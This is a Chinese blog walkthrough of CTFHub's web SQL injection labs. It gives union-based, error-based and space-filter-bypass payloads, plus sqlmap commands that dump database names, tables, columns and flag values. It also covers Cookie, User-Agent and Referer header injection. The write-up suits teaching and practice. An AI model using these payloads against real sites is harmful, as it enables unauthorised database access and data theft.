CTFHub-web(SQL注入)

本文详细介绍了多种SQL注入攻击手法,包括整数型、字符型、报错注入、布尔盲注、时间盲注等,并展示了利用sqlmap工具进行自动化漏洞探测和利用的过程。此外,还探讨了如何通过Cookie、UA和Referer头进行注入攻击,以及如何应对空格过滤的防御策略。内容涵盖了数据库的爆库、爆表、爆字段及获取敏感信息的步骤。
摘要由CSDN通过智能技术生成

整数型注入

按照提示,我们输入1
在这里插入图片描述然后输入

1 order by 2

发现order by 3无法正常回显,证明存在两列
在这里插入图片描述

然后我们使用联合查询语句

-1 union select 1,2

在这里插入图片描述
我们开始爆库

-1 union select 8,database()

在这里插入图片描述
但我们爆表的时候发现出现错误,我们可以把表名转化为16进制,这里需要有火狐的hacker插件
在这里插入图片描述

在这里插入图片描述

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69

然后我们执行
在这里插入图片描述
然后我们爆字段

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167

在这里插入图片描述
然后我们查询flag

-1  union select 1,flag from sqli.flag

在这里插入图片描述
即可通关

字符型注入

我们输入

/?id=1'

页面回显在这里插入图片描述
我们将最后一个引号注释掉–+
发现可以正常回显

/?id=1'--+

在这里插入图片描述
然后我们跟第一关的步骤一样即可通关

查看列数
/?id=1' order by 1,2 --+
用联合查询语句
/?id=-1' union select 1,2 --+
查看库
/?id=-1' union select 1,database() --+
查看表
/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69 --+
查看字段
/?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167--+
爆字段
/?id=-1' union select 1,flag from sqli.flag --+

在这里插入图片描述得到flag

报错注入

我们尝试输入

/?id=1

在这里插入图片描述
回显没有问题

/?id=1'

在这里插入图片描述
显示查询错误
我们可以使用语句updatexml,大家可以在网上查找相关资料和用法
我们查看库

/?id=1 and updatexml(1,concat(0x5e,database()),1)

然后我们查看表

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)

查看字段

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)

然后查看字段flag的值

/?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)

在这里插入图片描述用语句

/?id=1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)

即可找到没有显示出来的值
得到完整的flag

布尔盲注

这道题我们使用sqlmap来进行爆破
首先输入

python sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -dbs

这里python sqlmap.py -u"url" -batch是基本的注入框架,“-dbs”指向数据库。
运行结果
在这里插入图片描述
然后我们输入

python sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -tables

-D是数据库,“-tables”指向爆破表名。
运行结果
在这里插入图片描述然后我们输入

sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -T"flag" -columns

-T是表名,-columns是爆破列名
运行结果
在这里插入图片描述
然后我们输入

sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -T"flag" -C"flag" -dump

-dump是爆数据,成功得到flag
在这里插入图片描述

时间盲注

我们使用sqlmap,跟上一关的方法相同。
在这里插入图片描述

Mysql结构

与上一关一样,用sqlmap跑,不一样的是表名,列名不太一样
爆库
在这里插入图片描述库名
在这里插入图片描述爆表
在这里插入图片描述表名
在这里插入图片描述
爆列
在这里插入图片描述

列名

在这里插入图片描述
爆字段
在这里插入图片描述得到flag在这里插入图片描述

Cookie注入

这关我们用burp抓包尝试,发现注入点
在这里插入图片描述爆库
在这里插入图片描述爆表在这里插入图片描述爆列
在这里插入图片描述爆字段
在这里插入图片描述发现flag

UA注入

这关提示ua注入,我们打开burp抓包尝试
在ua处输入

11 union select 1,database()

得到库名
在这里插入图片描述然后爆表
在这里插入图片描述爆列
在这里插入图片描述
爆字段
在这里插入图片描述
得到flag

Refer注入

同样用burp抓包,发到重发器,然后在头部添加referer信息
在这里插入图片描述即可找到注入点
同样,爆库,爆表
在这里插入图片描述爆列
在这里插入图片描述爆字段
在这里插入图片描述找到flag。

过滤空格

此处过滤的方法为/**/,将所有空格替换即可

输入

-1/**/union/**/select/**/1,database()

在这里插入图片描述

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=0x73716c69

在这里插入图片描述

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7378627379796d627771

在这里插入图片描述

-1/**/union/**/select/**/1,zzymanwqkx/**/from/**/sxbsyymbwq

在这里插入图片描述
得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值